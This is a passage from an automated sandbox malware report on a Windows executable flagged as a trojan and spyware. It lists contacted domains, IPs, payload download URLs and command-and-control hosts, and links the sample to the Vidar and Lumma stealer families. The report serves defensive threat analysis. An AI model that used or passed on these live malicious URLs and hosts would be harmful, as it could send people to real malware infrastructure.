http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
frizzettei.sbs	0%	Virustotal		Browse
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	10%	Virustotal		Browse
http://cowod.hopto.org	10%	Virustotal		Browse
http://kasm.zubairgul.com:80/sql.dll	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://www.youtube.com	0%	Virustotal		Browse
https://t.me/lpnjokeg0b4cMozilla/5.0	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://kasm.zubairgul.com:80	0%	Virustotal		Browse
invinjurhey.sbs	0%	Virustotal		Browse
https://t.me/lpnjoke	0%	Virustotal		Browse
https://sketchfab.com	0%	Virustotal		Browse
https://www.youtube.com/	0%	Virustotal		Browse
exilepolsiy.sbs	0%	Virustotal		Browse
bemuzzeki.sbs	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	0%	Virustotal		Browse
https://www.google.com/recaptcha/	0%	Virustotal		Browse
exemplarou.sbs	6%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=cdfm	0%	Virustotal		Browse
https://web.telegram.org	0%	Virustotal		Browse
https://t.me/	0%	Virustotal		Browse
wickedneatr.sbs	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
cowod.hopto.org	45.132.206.251	true	true	10%, Virustotal, Browse	unknown
nsdm.cumpar-auto-orice-tip.ro	147.45.44.104	true	false	8%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	true	0%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
kasm.zubairgul.com	95.164.90.97	true	true	0%, Virustotal, Browse	unknown
frizzettei.sbs	unknown	unknown	true	0%, Virustotal, Browse	unknown
bemuzzeki.sbs	unknown	unknown	true	0%, Virustotal, Browse	unknown
invinjurhey.sbs	unknown	unknown	true	0%, Virustotal, Browse	unknown
exilepolsiy.sbs	unknown	unknown	true	0%, Virustotal, Browse	unknown
exemplarou.sbs	unknown	unknown	true	6%, Virustotal, Browse	unknown
laddyirekyi.sbs	unknown	unknown	true	0%, Virustotal, Browse	unknown
wickedneatr.sbs	unknown	unknown	true	0%, Virustotal, Browse	unknown
isoplethui.sbs	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true	0%, Virustotal, Browse	unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	false	10%, Virustotal, Browse	unknown
http://kasm.zubairgul.com/vcruntime140.dll	true		unknown
http://kasm.zubairgul.com/softokn3.dll	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
invinjurhey.sbs	true	0%, Virustotal, Browse	unknown
exilepolsiy.sbs	true	0%, Virustotal, Browse	unknown
bemuzzeki.sbs	true	0%, Virustotal, Browse	unknown
http://kasm.zubairgul.com/msvcp140.dll	true		unknown
exemplarou.sbs	true	6%, Virustotal, Browse	unknown
http://kasm.zubairgul.com/mozglue.dll	true		unknown
wickedneatr.sbs	true	0%, Virustotal, Browse	unknown
http://kasm.zubairgul.com/freebl3.dll	true		unknown
laddyirekyi.sbs	true		unknown
http://kasm.zubairgul.com/nss3.dll	true		unknown
isoplethui.sbs	true		unknown
http://kasm.zubairgul.com/	true		unknown
http://kasm.zubairgul.com/sql.dll	true		unknown
http://cowod.hopto.org/	true		unknown
https://t.me/maslengdsa	true		unknown
https://steamcommunity.com/profiles/76561199786602107	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	HJEHIJ.1.dr	false	URL Reputation: safe	unknown
https://player.vimeo.com	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	HJEHIJ.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hopto.org	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	true	10%, Virustotal, Browse	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.google.com	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://cowod.hopto.org_DEBUG.zip/c	T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://kasm.zubairgul.com:80/sql.dll	MSBuild.exe, 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	KJDGDB.1.dr	false		unknown
http://cowod.hopto.	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://t.me/lpnjokeg0b4cMozilla/5.0	T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://cowod.hopto	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://s.ytimg.com;	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	false		unknown
http://kasm.zubairgul.com:80	MSBuild.exe, 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/lpnjoke	T2bmenoX1o.exe, T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HJEHIJ.1.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp, IJKJDA.1.dr	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com:80ontent-Disposition:	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://sketchfab.com	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/	HJEHIJ.1.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HDAKJD.1.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	MSBuild.exe, 00000009.00000002.2217098930.0000000000B48000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://kasm.zubairgul.com/J	MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://checkout.steampowered.com/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.multipart/form-data;	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	IJKJDA.1.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgAEB	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://store.steampowered.com/;	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HDAKJD.1.dr	false	URL Reputation: safe	unknown
https://t.me/	MSBuild.exe, 00000001.00000002.2227078403.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=cdfm	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://cowod.hopto.HIDAEB	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://web.telegram.org	MSBuild.exe, 00000001.00000002.2227078403.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeq	MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199786602107g0b4cMozilla/5.0	T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	HJEHIJ.1.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp, IJKJDA.1.dr	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/msvcp140.dll~$M	MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk	MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/C(l2	MSBuild.exe, 00000009.00000002.2217014896.0000000000B35000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://medal.tv	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	IJKJDA.1.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	HJEHIJ.1.dr	false	URL Reputation: safe	unknown
https://login.steampowered.com/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.2231134063.000000001A2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2239039820.000000002024D000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/mozglue.dllP$W	MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	HJEHIJ.1.dr	false		unknown
https://recaptcha.net	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://kasm.zubairgul.com/vcruntime140.dllK	MSBuild.exe, 00000001.00000002.2227078403.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe	MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://127.0.0.1:27060	MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	HJEHIJ.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R	MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
95.164.90.97	kasm.zubairgul.com	Gibraltar	39762	VAKPoltavaUkraineUA	true
147.45.44.104	nsdm.cumpar-auto-orice-tip.ro	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528576
Start date and time:	2024-10-08 02:44:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	T2bmenoX1o.exe renamed because original name is a hash value
Original Sample Name:	a72af6c3293eb3061bba1e48ba6147de.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@14/37@13/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 97 Number of non-executed functions: 240
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.133, 40.126.32.138, 40.126.32.74, 20.190.160.17, 40.126.32.76, 40.126.32.68, 20.190.160.20, 40.126.32.134, 199.232.210.172, 192.229.221.95, 20.189.173.22, 4.245.163.56, 13.85.23.206, 13.95.31.18, 20.3.187.198, 52.182.143.212, 20.109.210.53
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, otelrules.afd.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:45:09	API Interceptor	2x Sleep call for process: WerFault.exe modified
20:45:20	API Interceptor	4x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
95.164.90.97	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	kasm.zubairgul.com/
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	kasm.zubairgul.com/
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	lade.petperfectcare.com/
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cowod.hopto.org	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	out.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	down.exe	Get hash	malicious	Unknown	Browse	45.132.206.251
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
bg.microsoft.map.fastly.net	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	http://pay.christinagstewart.com/	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	h2qWqtD73F.exe	Get hash	malicious	Xmrig	Browse	199.232.214.172
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	https://login.stmarytx.edu/cas/logout?service=http%3A%2F%2Fgoogle.com%2Famp%2Fmatrikaengineeringworks.com/hebc/?#?m=bWVsaXNzYWdAd2Utd29ybGR3aWRlLmNvbQ==	Get hash	malicious	Unknown	Browse	199.232.214.172
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	199.232.214.172
	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Evo-gen.11282.4102.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	utmggBCMML.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

